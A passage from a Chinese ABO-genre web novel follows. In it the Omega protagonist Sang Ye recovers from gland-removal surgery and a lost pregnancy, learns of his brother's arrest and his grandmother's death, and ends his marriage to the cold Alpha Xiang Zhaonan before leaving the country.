“我的意思是,桑小先生的信息素依赖症突然异化,跟这个孩子关系很大啊。”他这些年和相召南的接触让他对这个孤傲的Alpha并没有什么好感,“当然,和过去这几年Alpha的缺位也脱不了干系。” 桑也的双目被纱布包裹,里层的白纱已经濡湿。 陆医生的话像刮骨刀,残忍地剜去他身上腐肉,露出已经烂到底的过往。 到这时候,桑也才清清楚楚的意识到,原来不是所有的付出都有回报。 单方面的倒贴换不来真心,只有缺位两个字。一针见血。 被桑守安抱回手术台上时,他突然抬手摸了摸大哥的下颌,歪了歪脑袋:“大哥,你瘦了。” “不要为我担心。” 随后他被放到又硬又冷的手术台上。他想说这里的空调能不能调高一点,他有点冷,突然又想起之前了解到的医院的空调不是给病人准备的,而是给医疗设备准备的,便算了。 略微感到有些遗憾之时,他听到大哥的声音: “耶耶,我曾两度在病房门口等结果。” “一次,检查出你存在信息素依赖症。” “另一次,就在刚刚,在你不得不做腺体移除手术的时候,得知你怀孕。” “我很失职,对吗?” 桑也立马摇头,尽管因为力气不够,摇头的幅度不大。 “不是的大哥,你是世界上最好的大哥。爸妈走了,现在世界上只有姥姥和你,是我的血亲。” 大哥没有再说话。 他猜,大哥肯定感动死了,有他这么善解人意的弟弟。 没等他笑出声,突然右臂一阵疼痛,他嘶叫了一声,手臂扭曲得不成样子。 陆医生立马走上前来。 “镇定剂这么快就失效了?看来只能两台手术一起做了——小陈,你去通知下产科那边,叫他们派个人来把人流做了。” “先把全身麻醉打上。” …… 因为上了强效麻醉,他完全感受不到疼痛,甚至有种梦幻的感觉,仿佛在梦中,一切都很不真实。 于是他清楚地感受到薄薄的手术刀划开他的颈侧肌肤,先剜去了腺体的核心部位。 他看不见,也摸不到,不知道被剜去的肤肉实际上有多大。 只有他的感受告诉他,像海那样宽广。 手术刀没有离开。 像一根根梳理头发一样,更加窄小的手术刀刀口和镊子在他的身体内内游走,寻找细小且丰富的神经和腺体末端。 离耳朵太近了。 近得他能完完全全听见刀刃拨动肌肤、划开肤肉、挑出神经的声音。 他想问医生能不能像裹住他眼睛一样把他的耳朵也裹起来,这时他的腹部突然也传来一阵细碎声响,像指甲划过黑板,令人牙酸。 是生殖腔内传来的声音。 有什么东西在刮他的肚子。 他忍不住攥紧了拳头,绷紧了肌肉,来对抗那种密密麻麻如同蚁噬的难受。 却听见陆医生说:“放松点,绷太紧我不好挑出神经和腺体。” “不对啊,你怎么能使得上力?”他愕然道:“麻醉过效了?” “他身体太特殊,我已经按照他的情况来调了……” “那现在怎么办,再给他打一点?” “你问问他疼不疼,疼得不严重就让他忍忍吧,他麻醉剂量已经很高了,再打一剂把脑子打坏了怎么办?” 桑也心想,忍疼他最在行了。 没想到的是,这疼痛从全身各处传来,最后竟然把他疼晕过去了。 …… 醒过来时,已经躺在病床上。 他刚醒,张姨就立马迎上来,“孩子你醒了,你终于醒了……医生说,手术很成功,就是以后身体会差些,可能会出现感知错位。但这些都是小事,只要活着,都是小事!咱以后再也不用受那什么依赖症的苦了!” 许是因为激动,张姨的声音很抖。 桑也张嘴,想安慰情绪激动的张姨,却发现虽然自己双唇微微湿润,喉咙却干得说不出一点话来。 他连忙指着床头的水壶,模模糊糊发出一个“水”字。 张姨立马给他倒水。 虽然他身体有些僵硬,脖子处更是疼得不行,没办法转头,但他还是透过余光看见张姨倒水的时候偷偷抹眼泪。 等张姨用勺子给他喂水,桑也说:“张姨,没事的,不要难过。” 却见张姨的手一抖,水直接洒到了桑也的下巴上,惨白瘦削的下巴挂不住水,水滴流到他的脖颈处。 张姨连忙抽纸给他擦试,结果衣袖又把水杯带倒,水洒了一地。 桑也默默等着张姨手忙脚乱收拾残局,等人站起来,轻声道:“阿姨,你有事瞒着我。” 张姨顿时手脚一滞,面部肌肉牵扯出奇怪的形状,唇形被刻意压成一条线,却又不受控制地向下弯折,最后,张姨似乎也是经过了好一番心理纠结,痛下抉择,声音颤巍:“耶耶,你大哥……” “你大哥他,被批捕了!” “桑先生让我瞒着你,可我——” 窗外天气晴朗,万里无云,桑也却仿佛听见了一声震耳欲聋的雷鸣。 本以为张姨是看了他躺在病床上的样子替他难受,还想着安慰张姨,没曾想从张姨嘴中听到如此噩耗。 他完全想象不到大哥被批捕这件事情会发生。 在他的印象里,大哥不说什么绝世善人,但至少不会做坏事,他无条件相信大哥绝对是被冤枉的。 而他对桑氏出事的最坏预期也不过是桑氏一蹶不振,万万不敢想大哥竟然被批捕了! “怎么会这样呢?大哥,大哥不是说不用担心吗?他怎么可能做那些事情?是不是搞错了?” 一连好几句话,又把他喉咙搞得干涩无比。 “耶耶,桑先生他……在你做手术的时候,就被带走了。” 桑也说不出话,张姨见状立马又给他喂了点水。 “律师,律师怎么说?” “我不懂这些,但我听桑先生说,这恐怕不好解决,还说这次出事,其实是上次事情的延续。桑先生这话是什么意思?” 这话几乎是明示了,桑也心口恍若有一块刚从冷库取出来的冰,烫得他心肉急遽痉挛收缩。 害了他爸妈不成,还要害他哥,真是阴魂不散。 “桑先生就是这样说的,还说怪他失误,让人拿到了把柄……” “把柄?”桑也瞳孔骤然放大,“什么把柄?”他大哥这话是什么意思? “桑先生说的可能是那张照片。是之前他和市长吃饭,被人拍了照片,没想到过了四年竟然被翻出来……” “四年前?” 他相信大哥绝对做不出新闻上说的“贿赂获利”这种事,他桑家也没必要做这种事。 加上“四年前”这个关键的节点。 桑也顿时想到那场交易。 难道是大哥为了捞林俊从局子出来找了市长,就那个时候被拍了照片? 桑也神色有些难堪了。 他脸上本就没有血色,此时更是惨白一片,像极了败落凋零的花房。 他大哥做这事情明明是相召南一家人的请求,结果出事之后,相召南那样绝情,直接撤资,置身事外,将他们陷于无法挽救的境地。 “大哥,我要见大哥……”桑也掀开床被就要下床,结果浑身无力,差点跌坐在地上,好在张姨手疾眼快把他扶住,才免得他旧伤未愈,又添新伤。 “耶耶啊,桑先生说了,让你不要管这些麻烦事,你只管好好养伤,别留下了病根。” “我——”桑也哪里顾得上自己的身体,站起来之后又想动身,结果差点又摔倒,“咳咳,咳咳……” 他痛恨自己,恨自己为什么要有信息素依赖症,恨自己为什么一颗心扑到相召南身上,恨自己为什么在这么关键的时候症状加剧! 他就是拖累大哥的废物! 他掩面,悲痛难抑。 泪水像断线的珠子一颗一颗从纤细的手指缝里溢出。 “耶耶,别哭,当心哭坏了身体……”张姨搂着他,把他当自己孩子看待,一遍遍抚摸他单薄的后背为他顺气。 桑也默默哭了小半个小时才收住,靠在床头。哭劲过了,他便想着干正事。 他问张姨,他手机在哪里?他联系公司律师看看情况。 张姨却说,医生交代不能给你手机,说是怕屏幕刺激眼睛,产生疲劳,阻碍了眼睛伤口的痊愈,再者是怕你情绪激动影响恢复。 张姨那一副打死也不给他手机的神态让桑也只能缓缓摇了摇头,无奈地让步:“那张姨帮我去买点吃食吧,我有些饿了。” 显然张姨有些怀疑,精明的眼神扫了扫他,“我去了,你别偷偷玩手机,行吗?” “我是那种人吗?” 得了这句话,张姨才一步三回头离开VIP病房。 张姨刚一出门,桑也便做起来东张西望。他在用目光搜寻手机可能的藏身之地。 VIP病房说到底也只是比普通病房安静些,宽敞些,还是比不上家里繁琐复杂,他一眼望去,没看见什么可疑的位置。 床头柜? 他弯腰抽出床头抽屉,里面空空荡荡,什么也没有。 只剩下床头柜上的一个小盒子了。 那个小盒子只有桑也拳头大小,再怎么也不可能藏下手机。 但桑也被一种无端的念头控制住,打开了小盒子。 盒子里面是一个拇指大小的亚克力立方体,因为透明,桑也没有揭开它的盖子也能清晰看见里面的东西——一抹灰白色。 像是细沙混着石子。 那是什么? 不知为何,桑也蓦地感觉心空了一下,熟悉的感觉唤起他的记忆。 是…… 他的手不自觉颤了起来,捧着盒子的力道不由自主加大。 两个月大的孩子刚刚成型,火化之后只留下了指甲盖大小的粉末。 “耶耶?” 走廊外传来张姨的声音,桑也把盒子放回远处,掖了掖被角。 “我在医院门口买了份白粥,怕你觉得没味,还配了袋白糖。” “白粥啊……” 桑也小声道,他不喜欢清谈的,就算要吃粥,也得是皮蛋瘦肉粥一类,白粥哪行啊? 张姨当然知道他这声呢喃是什么意思,“我知道你平时吃得味重,但刚做了手术,哪能吃辛辣的?这一顿先吃点白粥,垫垫肚子,好了我再回家给你做大餐,成不?” 桑也倒也不是不讲理的人,他就是想要张姨哄哄他,得到了满意的回应,自然也不再推拒。 …… 失去了腺体的Omega,很难定义他现在到底是Beta还是Omega。 他没有属于Omega的能产生、释放信息素的腺体,但又比Beta多了个生殖腔,后颈侧还有一个微微凹陷的空荡。 失去了Omega信息素,他身上的外伤好得格外艰难。 换做以往,就算在情热期把自己挠成了血人,情热期一过,立马就能痊愈,连一点疤痕都不会留下。 这是Omega的特异之处。 看起来很不错,但用凌星的话来说,也不过是“让Alpha玩弄起来更没下限而已”。 桑也深以为然。 但真正失去了这样的特殊性,看着自己身上处处伤痕连结痂都困难,他又有些怅然若失。 站在病房浴室的大镜子面前,他撩起病号服,露出纤细的腰腹,只见上面布满了血痕,还泛着红色,没有结痂,似乎随时都有可能渗血。 桑也用指尖戳了一下,疼得他立马缩回了手,放下衣摆,稍稍弯腰捂着肚子。 原来正常人对疼痛是这种反应吗? 前两天他实在没办法下床,一直卧床修养,今天终于恢复了点力气,他央着张姨放他去见他哥。 张姨被他缠得没办法了,只好松口,把手机给他,还帮他联系了负责这件事的律师。 律师告诉他:“您作为桑总的亲属,是可以直接去探望的。若是定罪移交到监狱,按照S市监狱的规定,半年才可以探监一次,那时候再见面就不容易了。” 得知可以去见大哥,桑也肯定高兴,但听律师后半句话,又觉得这人真不会说话,怎么就考虑起进监狱的事情了。 “你还是我哥的代理律师嘛,怎么说这些……” 律师似乎有些尴尬,沉默了片刻,找补道:“当然,能无罪释放肯定是最理想的结果。” 坐在车上,张姨不知怎么突然问他: “耶耶啊,出事到现在,怎么没见着相先生呢?不来探望探望,总得打个电话问候下吧?这样不管不顾的,像什么样子!” 桑也淡淡回答:“可能在忙吧。”不过张姨这话确实提醒到他了,他重新给律师打电话:“麻烦帮我拟一份离婚协议,一起带来。” 挂断电话,回头看见张姨一副不得了的样子。 她焦急得不行:“耶耶啊,你可千万别因为我说的一句话冲动,离婚可是人生大事。” 桑也笑着说:“不是,跟你没关系。我早就决定要离婚啦。” 张姨表情愣住了。 她连着“哦”了几声,僵僵地把目光移开。 也对,结婚这么多年,她都没怎么见过相先生,总是耶耶一个人回到别墅,一看就是受委屈了。 …… 看守所只让桑也和律师进去了。 桑也见到桑守安的时候,桑守安正坐在一个密闭的小房子里,没有窗户,只有一张小小的桌子,和两张板凳。 他拖着沉重的身体扑向桑守安。 “还这么爱哭呢。” 桑也从他怀里出来,“哥,到底怎么回事?” 桑守安穿着看守所统一的衣服,蓝灰色,虽然宽松,但穿在他身上却不显松垮,反而很有型。在看守所待了几天,他的精神似乎并没有受挫,只是下巴上冒了些胡茬出来。 他坐下,正了正神色。 “还记得当时和桑氏地产竞标失利的陈张集团吗?” “我们现在猜测这件事情是他们一手策划的,但事情发展到现在,真真假假已经不重要了,还是权力博弈——偏偏之前和李叔吃饭又被人拍了照片。”桑守安似乎有些烦躁,眉心紧锁。 “怎么会这样?只是一张照片,会这么严重吗?连吃饭的另一位当事人都没有被爆出来,这也能作为证据吗?” 桑守安摇头。 “那只是舆论手段而已,警方批捕的罪名是经济罪。怪我这段时间管理不严,让他们钻了空子。” 桑也听着也感到焦灼,“那——还有机会吗?” 桑守安和律师对视片刻,律师道:“机会渺茫。” “商业博弈就是一步棋的事,一招不胜,满盘皆数。” “就算入狱,只要青山在,不怕没柴烧,现在更严重的是那一场惊动全国的舆论,让桑氏彻底出了次风头,把我们以后的路都堵死了。” 说到舆论,桑也的思绪不自觉就想起了那天晚上在电视上看见的相召南,他用冷静淡定的语气宣告了桑氏的死亡,把舆论推到了顶峰。 桑也的小臂颤了起来。 “耶耶,你听我说,出去之后立马就把之前签订的股份转让书公示了,桑氏地产这边该卖就卖,已经是烂摊子了,尽早脱手也是好事一件。” 桑也听着愣神了,“哥,你的意思是……” “算了,桑氏地产这边交给职业经理人来处理,你直接出国去待几年,国内这边……恐怕不安全。” 说到这里,桑也才彻底明白了,为什么大哥话里话外都没有再“垂死挣扎”一下的意思,他本还想大哥怎么会就这样轻易放弃轻易“认罪”,可如今他才明白,或许监狱,也算个好去处。 阴魂不散,阴魂不散! 大哥在监狱,他出国…… “那姥姥呢?我得带着姥姥一块出国,可我劝不动姥姥。” 桑也抿了抿唇,想起之前他劝沈音华来S市和他们住一起都没有成功,要劝她出国,恐怕不是一件容易事。 却见大哥的脸色霎时间白了白。 桑也心里蓦然一惊,有种不详的预感,他紧紧盯着大哥的双眸,“哥,怎么了,你说话,你告诉我……” “姥姥她——”桑守安低下头,“已经去世了。” 桑也久久没有说话。 他好像听不懂大哥说的是什么。 “姥姥,去世。姥姥,去世。姥姥,姥姥她明明那么健康,怎么可能呢?大哥你这种时候就别和我开玩笑了。” 桑守安屏气,却又蓦地松了力道,他在想要如果顺着桑也所说的话蒙骗过关的几率有多大,但最后还是承认:“耶耶,我没骗你。” 身体很重,像灌了铅水,桑也猛地站起来,却被这副沉重的身体拖了后腿,身形摇晃。 “哥,你在说什么呀?你被关迷糊了吧?还是我听错了?” 桑守安这时才显现出一丝憔悴。 “你在做B超的时候,我接到春城派出所的电话,说姥姥她……”桑守安说到这里顿了一下,“在路上被酒驾的司机撞了,当场身亡。因为你马上进手术室生死不定,我不敢走,便联系了人处理姥姥的后事,只是没多久我就被警方以经济实力雄厚有潜逃出国嫌疑的理由批捕了。” 桑也听着,大脑一片空白。 做手术那天晚上…… “小宝不哭不哭,姥姥马上来,姥姥马上来……” 姥姥的话在他的耳边盘旋,久久未散。 好疼。 是他。 他的后颈,他的腹部,他的双臂和大腿,哪哪都疼。 是因为他! “哥,好像怪我……”他枯坐在看守所的木板凳上,在大哥不理解的眼神中慢慢开口:“如果不是我给姥姥打电话,姥姥也不会大晚上出门,就不会被车撞,是我不好……” 如果不是他得了这个信息素依赖症,大哥就不会为了让相召南和他结婚而联系上市长,不会和相氏深度合作以至于因为一场撤资而被推上舆论顶峰,更不会因为他病情加重而疏于管理让人钻了空子,最后可能必须在监狱里度过好几年时光。 大哥给他道歉,说对不起,可扪心自问,桑也心想,他又对得起谁? 桑也很爱哭,受了委屈要哭,擦破点皮要哭,但现在他却发现自己哭不出来,眼睛没有那种熟悉的湿漉漉感,反而干涩得吓人。他不知道,他的双目已经红得不像话了。 大悲之下,很难拗哭出声。 好疼。 第23章 桑守安沉默许久。 这个话题太沉重了。连桑守安都静默下来。他未曾想, 在姥姥车祸遇害的背后,还有这样一通电话。 “不是你的错,是司机的错, 不是你的错, 不要自责耶耶, 永远不要自责, 你没有做错任何事。” 他的宽慰在这时苍白而无力。 最后在看守人员一句“时间到了”下二人道了别。 分别时桑守安说,“你只管安心出去, 我会安排好一切的。” 被看守人员领到大堂里, 桑也在外人坐的铁椅上静坐了十五分钟,勉强抑制住了情绪, 他仰面问律师:“离婚协议带了吗?” 律师知道他需要时间调节情绪, 便安静在边上等候,闻言, 他抽出准备好的离婚协议递过去, 顺着协议的方向,他的目光随之而去。 就这样一眼,律师整个人都怔住了。 简单的一件毛衣, 罩住他单薄得像纸一样的身体,记得他半年前见到桑小先生的时候, 面前人还没有瘦得如此可怜, 是因为做了手术吗?稍稍仰起的小脸白得像雪, 双眼还有未褪去的红, 宛如一层红色薄纱, 笼着玻璃珠一般的琥珀眸子。 美得摄人心魄。 律师心里感慨,可惜没了腺体,要还是正常Omega, 他肯定要为被离婚的相先生感到惋惜。 桑也借了看守所的蓝色水笔,迅速签了字,没有再多看一眼,笔盖合上发出清脆的咔哒声。 他把协议递给律师,“麻烦帮我转交给相先生,谢谢。” 南哥。 相先生。 原来没了腺体,和你说再见是这样轻而易举。 以后,就是殊途陌人了。 …… 交代好律师把离婚协议转交给相召南,又让他代为公示名下财产和接受的股份,随后便从看守所离开。 张姨一直在看守所外等他,见到他出来,立马就上来关心。 然而桑也在方才静思那十几分钟已经决定让张姨回家,只是还没酝酿好如何开口。 张姨在他家里照顾他们十多年了,桑家一向不喜欢铺张,家里阿姨最多的时候也只有三个,后来桑父桑母去世,辞退了一个,桑也结婚搬走,另一个时间短的也辞了,就剩下张姨。 而现在,大哥情况难说,他要出国,要是张姨家里没人,他就带着张姨一块出国去,也有个人照顾,可惜张姨家庭幸福美满,她的儿女肯定不会同意。 “张姨。” “怎么了耶耶?” “趁着天还早,你回家去吧。我……打算出国。”桑也心里涨涨的,“你在我们家也待了十多年了,是时候回去陪陪家里人,对吗?” 张姨听见他说“回家去”就脸色凝滞,越往后听脸上越挂不住笑,“耶耶,这……” “我记得,你女儿前不久才给你生了个外孙女对吧?我出国不知道多少年,你要是不回去,可就看不到可爱的小外孙咯。”桑也故作轻松,笑道。 张姨沉默了。 她舍不得桑也不假,可再是看着长大的孩子也不可能比得过有血缘的亲人,说到底,她和桑家也只是雇佣关系,一个是舍得花钱、待人和善的雇主,一个是做事细致、真诚以待的佣人。 桑也这人很扭捏,他嘴上说着劝张姨回家去的话,可张姨真要回去,他心里又酸酸的。如果他撒撒娇,花点钱,张姨说不定也就留下来陪他出国了。 可他不,他偏要做出一副善解人意的模样,对张姨说着心口不一的话,最后自己难受。 真贱。 他笑着,心想。 …… 张姨最后决定走,但还是坚持要照顾他直到出国,桑也没有拒绝。 次日凌星来探望。 其实桑也手术完第二天凌星就来过了,但那时桑也还没有清醒,仍昏睡着,凌星不便打扰,在病床旁边陪了他一会便走了,还是后来张姨告诉他,他才知晓。 探望病号,无非是带点水果,说些安慰话。 凌星一进来,桑也便闻到一股扑鼻而来的浓烈气息。他捂着鼻子,问:“你干什么了?” 视线往下,看见凌星手里拎着几盒榴莲肉,正是气味的源头。 “刚做完手术不好吃榴莲吧。”桑也皱眉。 “谁说是给你吃的?我自己吃不行?”凌星往床尾一坐,差点把桑也挤下去。 “?” 搞咩啊? 桑也微眯了眼,突然想起了什么,说:“你来得正好。” 凌星一听这个开头,立马站了起来。 “我有种不祥的预感。” “只是想拜托你帮我去华润湾那边收一下东西。” “那行。” “给我吃一口。” “刚做完手术不好吃榴莲吧~” “我要出国了。” “哦。哦啊?!”凌星大叫一声,差点把医院屋顶掀了。 “你要出国?” “嗯。” “可是守安哥不是……” “是哥让我出国的。”桑也靠在床上久了,有些下滑,他费劲地往上挪了挪。 “噢,噢噢!难怪你让我去华润湾收东西。”凌星摸着下巴模仿智者,“我还以为是帮你拿日用品到医院来,结果是把所有东西都收了?” 桑也垂着眸子,浅笑了下。休息一天之后,他的脸色终于恢复了些,不再惨白,稍稍有些红润了。 ——倒也不是他身体恢复能力有多强,还是有钱能使鬼推磨,他每天注射的营养剂都要六位数打底。 “那……”凌星拖长了尾音,意有所指,“相召南呢?” “他总不可能跟着你一块出国吧?我靠,你别告诉我你真要和他一块出国,他可是落井下石、欺负弱小、不守A德的王八蛋!” 看着桑也半晌没有说话,凌星小嘴一张,跟打机关枪一样叭叭叭地就往外吐词。 直到桑也哧地笑出声来。 “我跟他离婚了。” “你跟他离婚了也没用——等等,离婚?!”凌星嘴在前面飞,脑子在后面追,反应过来时大喜过望,“真离了?不是诓的我吧?” “如假包换。” 虽然他对桑也终于和那个混蛋Alpha离婚了感到十分开心,但离婚在世俗意义上毕竟不是件好事。凌星不敢笑得太得瑟,强压住嘴角,脸都抽抽了。 “想笑就笑吧,不是什么坏事。” “真的?” “你真的这样觉得?”凌星像条讨嫌的狗一样凑到桑也垂下的眼眸前,好奇问他。 没等桑也回答,他知道自己讨打,立马闪开,自顾自道:“这腺体竟然真的这么厉害?刚挖了立马便清醒?” 这话听得桑也鼻头一酸。 他这四年的沉溺,最受害的就是凌星了吧。听他讲和相召南的不和谐生活,劝他离婚却又被找理由搪塞。 说实话,这个时候凌星跑出去买个烟花当场放了他都完全能理解。 考虑到凌星留在病房既不能看护他,还有可能把病人挤下床,桑也毫不留情把人赶走,让他赶紧去帮忙把华润湾的东西收拾出来。 凌星正为他离婚感到高兴,干活也有劲,乐呵乐呵屁颠屁颠就去了。 等人走了,他把手机免打扰模式打开,蒙着头睡觉。 再醒来的时候,是张姨拍着他的肩背唤他。众所周知,眼睛看不见的时候,耳朵也会失聪。还没睁开眼时,他只能听见张姨急切地在叫他,听不清到底在说什么,等他迷迷糊糊睁开了眼,才听清楚张姨说的是“相先生打电话来了”。 桑也看向自己手机,没响啊。 下一秒,张姨的手机响了一声,又一声。 张姨面露尴尬,不知如何是好。 把手机递给床上的人后,她便自觉到病房外面去了。在桑家干了十多年,不听雇主通电话早已成了习惯。 拿到手机,桑也并没有立马接通。 他刚醒,脑子有些不清明,但又思绪灵活,无端想到,原来这就是他以前天天期盼的电话吗? 现在看来,也没什么值得等的。 他一边在张姨的手机屏幕上按下绿色接通键,一边打开自己的手机,果然在锁屏页面看见了来自【南哥】的十七个未接电话。 电话刚一接通,就听见了相召南愠怒的质问: “桑也,你要跟我离婚?” 他声音太大了,桑也嫌吵得耳朵疼,便把手机拿远了些,等没声了再拿回来。 “嗯。”他只回了一个嗯声。 “嗯?”相召南似乎对他简单的回复感到不满意。 他当然不满意,以前他但凡表示点不满,桑也立马上赶着要么解释,要么献身,从未受过现在这样的冷落。 但他似乎也意识到自己被愤怒的情绪控制了大脑,镇定了下来,不再是质问,改成暗讽: “桑也,欲擒故纵这招对我没用。玩够了就回来自己把那破协议书处理了。” “阿姨说你十来天没回过家,又在哪里鬼混?” 桑也安静地把自己手机上的未接电话记录删去,又把【南哥】的联系人拉黑,才说:“不回去了。” “桑也。”相召南定声道。 刚才的一声质问是他打了太多未接电话情绪上头,现在恢复了理智,又开始用一贯的手段,色厉内荏地喊出桑也的名字。 可惜桑也不一样了。 他不会再因为相召南的一次唤名就像巴普洛夫的狗一样回到他身边。 半天没有得到回应,相召南拧眉,语气又捎上了愠色。 “桑也!” “不回去了。”桑也不动声色,“离婚吧。” 相召南笑出声。 “离婚?桑也,你忘了当初为什么和我结婚么?离了婚,你情热期怎么办?” 桑也不可能和他离婚! 想到之前意外听见凌星劝离婚时,桑也说因为腺体疾病他离不开自己。彼时相召南只觉得恶心,恶心桑也根本不爱他却要因为那糟糕透顶的疾病而对他谄媚讨好;现在又感觉这样也好,至少这样桑也就离不开他。 他信誓旦旦。 桑也仰头,看着窗户的一角,垂顺的窗帘布一旦拉上能把光亮遮挡个严严实实。他以前就是被这样一张窗帘遮住了眼。 “不会有情热期了。” 电话那边沉默许久。 “什么意思?” 相召南停顿片刻,似乎意识到了什么,“你——” “字面意思。”桑也身体还虚,被吵了一顿,心情不好,重新躺下。 只听见电话那边: “桑也,你可真是好样的,想走就走,想留就留。结婚是你提的,现在跟我提离婚?” “你把我相召南当什么?” 第24章 电话对面许久没有传来声响。 常年用万宝龙写字而起了茧子的食指在大理石桌面规律地敲击, 慢慢地,速度越来越快,力道越来越大。 敲击声宣告着相召南耐心即将空涸。 从桑氏地产爆出“作假、行贿”丑闻开始, 相召南便在公司连轴转, 没日没夜开会, 谈话, 安抚股东心情,和其他有融资需求的公司洽谈。 今天抽身回华润湾, 是因为阿姨打电话问他助理桑先生还回来吗, 说是十多天没见到桑先生了。 助理告诉他时,相召南下意识认为桑也是跑回桑家别墅了。 他便没有放在心上, 继续工作。 但令人头疼的是, 从助理告诉他“桑也十多天没回家”这件事起,任他喝多少咖啡, 都没有办法聚精会神地处理工作, 合同上的字突兀地变成了一个个蚂蚁,看得他心烦。 只要桑也,甚至不是桑也这个人, 只是名字,闯入了他的工作区域, 他就再也没办法安心工作了。 像最初那次身着睡袍的桑也懵懂误入他的书房一样, 这么多年纹丝未变。 再这样耗下去也没办法完成工作, 他只好回了趟华润湾, 去看看情况。 阿姨不住家, 定时到华润湾来,好在相召南回去的时候阿姨还没走。 他刚走进去,就碰见了阿姨, 可能是接触少的缘故,阿姨见了他还有些拘谨,讲起情况来稍显畏缩。 她在桑也面前不会是这样。 相召南心里无缘无故冒出这样一句话。 阿姨是当初桑也非要入住他“回家时首选的房子”,结果自己做饭把手砍伤了后相召南叫助理给他雇的。 别墅有什么不好的?地盘大,又有阿姨照料,桑也不住;就要住他临时落脚、不到三百平的小房子,不给他重新雇个阿姨怕是要搞得头破血流了。 阿姨说家里的一些摆设似乎被人动过,小先生也许久没见到人了。了解完情况,相召南对阿姨说:“他不在你就先回去吧。” 阿姨没动。 “工资照发。” 阿姨这才往厨房走,准备收拾东西回家了。 而他自己,则坐在沙发上。 良久,他拿起手机,在通讯录翻找桑也的电话,发现自己没有添加联系人,只好转而去通话记录找到未接电话那一栏,才拨给了桑也。 第一个,未接。 果然是在闹脾气。 第二个,未接。 气性还挺大。 第三个,未接。 相召南脸色难堪了起来。 打到第十七个,仍旧未接。 他双目紧盯手机屏幕,直到电话自动挂断,拿手机的右手骤然收拢握紧。 学会不接电话了。 跟谁学的,桑也? 相召南打给助理,立马接通。 “查一下——”他顿了顿,桑守安必然联系不上,至于桑也那个朋友,叫什么名字来着?忘了,只记得他劝过桑也离婚。“查一下桑家远郊别墅那个住家阿姨的电话,马上给我。” “好的相总。”助理似乎有什么话想说,呃了一声。 “有话就说。” “是这样的相总,刚刚有位律师过来说是帮桑先生转交……” “说。” “呃,离婚协议。” 相召南本就不虞的面色直接黑了下来。 “叫他滚回去。” “好,好的。那我先叫他滚回去,再帮您查一下联系方式。” “先查联系方式。” “好的。” 相召南胸腔剧烈起伏,离婚? 桑也在搞什么? 一向冷静自持的相氏集团总裁这次竟然无法冷静思考了。 他起身去浴室冲了个冷水澡,这才感觉大脑清醒了些。 欲情故纵的把戏。 呵。 感到自己稍稍冷静了些,他才拨通助理发来的电话号码。 意想不到的是,这通电话竟然也迟迟无人接听,就在他以为又要到时间自动挂断时,手机屏幕开始了通话计时。 然而迟迟无人接听而传出来的滴滴声又再一次激发了他的怒火,让他准备好的质问带上了情绪。 意识到自己情绪过于外露,再次张口时,他刻意收敛。 他听见桑也说“不回去了”,说“离婚吧”,说“不会有情热期了”。 第一次被桑也用如此冷淡决绝的态度对待,他似乎有些不适应,连桑也的言下之意都没能捉住。 大脑似乎有一股热血冲上去,冲得他失去了思考能力,敲击桌面的节奏都变得紊乱。 “玩够了就自己回来。” 他挂断了电话。 没有再给桑也拒绝的机会。 他时常当挂断电话的一方,无论是对桑也还是对其他人,但这一次,他却诡异地显现着一丝慌乱,差点没能准确按到红色按钮。 像是在逃避着什么。 他往后一靠,双臂搭在沙发靠背上,仰着头,让冲上头的血液在身体内循环起来。 桑也不可能不回来。 当时他亲耳听见桑也对凌星说没办法离婚,因为有信息素依赖症。好像很可惜的样子! 要应对这依赖症,要么把腺体挖了,要么依附于百分百契合的对象。 挖腺体? 全然没有可能。 不说腺体移除手术的风险有多高,也不提社会观念对于没有腺体的Omega存在什么样的歧视,单就以桑也那个一碰就哭的性子,绝无可能。 他笃定,桑也一定会回来。 桑也接了桑家阿姨的电话,说明他只是像过去四年一样,闹脾气,跑回桑家了。 等他脾气闹够,自然就回来了。 手机里弹出助理发来的讯息,说是一家新能源公司的负责人来拜访,问他有没有时间见一面。 因为桑氏地产突然爆出丑闻,相渡南在股东大会上当众给他难堪,让他不得不宣布撤资来保全地位,不让这个私生子借机上位。 尽管处理得还算及时,相氏的股市依旧遭到波动,他的声誉也受到不小影响,得抓紧时间做点实绩,免得让相渡南钻了空子。 【跟他们说我半小时后到。】 相召南理了理袖口,下楼驱车前往公司。 …… 凌星帮他收了东西之后,又临时去跑了趟通告,第五天才又来探望他。 “东西直接寄到你家里去了,没问题吧?” 他一进来就大摇大摆坐上病床,“你是不知道,那天我刚下车,就看见相召南从电梯出来,吓得我赶紧又躲回了车里,亲眼看着他开车走了才敢上楼。” “你怕他?” “你不怕?” 桑也垂眸,和想不通为什么凌星怕相召南一样,想不通自己为什么会怕。 似乎失去腺体之后,他和相召南的过往也被一并抹去了。 “虽然我老是叫你干他,但真要面对他,我还真有点怵。你说怎么会有人天天板着一张脸像所有人都欠他钱似的呢?” 这话说得没错。 整天臭脸。 但如果是五天前那一次的话,桑心暗道,他或许知道原因。 没等他开口,凌星便自己接了下去:“我爹妈还总是拿他给我当‘榜样’,说我不务正业,要向他学习,我呸呸呸!” “叔叔阿姨还没放弃劝你回去接手家业啊?” “他们哪会放弃?他俩就我一个孩子,可不得指着我么。”语气虽是嫌弃,但仔细听来,也不难发现其实凌星也就是仗着自己是父母唯一的孩子这个筹码胡作非为,“我才不回去,我可是要拿金曲奖的Omega!” “好,大歌手。” 凌星坦然接受,“对了,那天我上楼,刚好碰见你家阿姨出门,我说我来给你收东西,她便帮了我一会,还专门去杂物室翻了一些陈年旧物出来,我打开看了一眼,黑色水杯,被套,还有些杂七杂八的。不知道你还要不要,我都给你打包寄过去了。” 桑也神色不变,因为卧床休养了半个月,他的精神比起刚苏醒那会好了许多,但总归还是虚弱,脸色完全不如凌星红润。 “应该是情侣用品。” 他说得云淡风轻,听话的凌星却立马跳了起来。 “什么晦气玩意儿?” “早知道直接扔垃圾场了。” 桑也会心一笑。 等气消了,凌星问他:“啥时候走啊?” “下周一。” “这么快?” “嗯。毕竟不是伤筋动骨,能下床,就能出国。到了国外再修养也是一样的。” “好吧。”凌星露出可怜兮兮的样子,“我会想你的。” “那你什么时候回来?” “还没走你就想着回来的事了。” “哎,哎!你要是错过我大红大紫咋办。” “有什么是视频电话做不到的吗?” 凌星这才傻笑着点头,“也是。” 桑也没什么朋友——指的是婚后这几年。以前他朋友还是不少的,不管是学校,还是赛车俱乐部,都有几个玩得来的朋友。但结婚之后一心扑在相召南身上,没再去过俱乐部,加上升学,和其他人的关系慢慢就疏远了。 所以他出国前并没有像别的人那样呼朋唤友搞个欢送会,自己一个人就去了。 出发前一天,张姨终于同意他回去见姥姥一面。 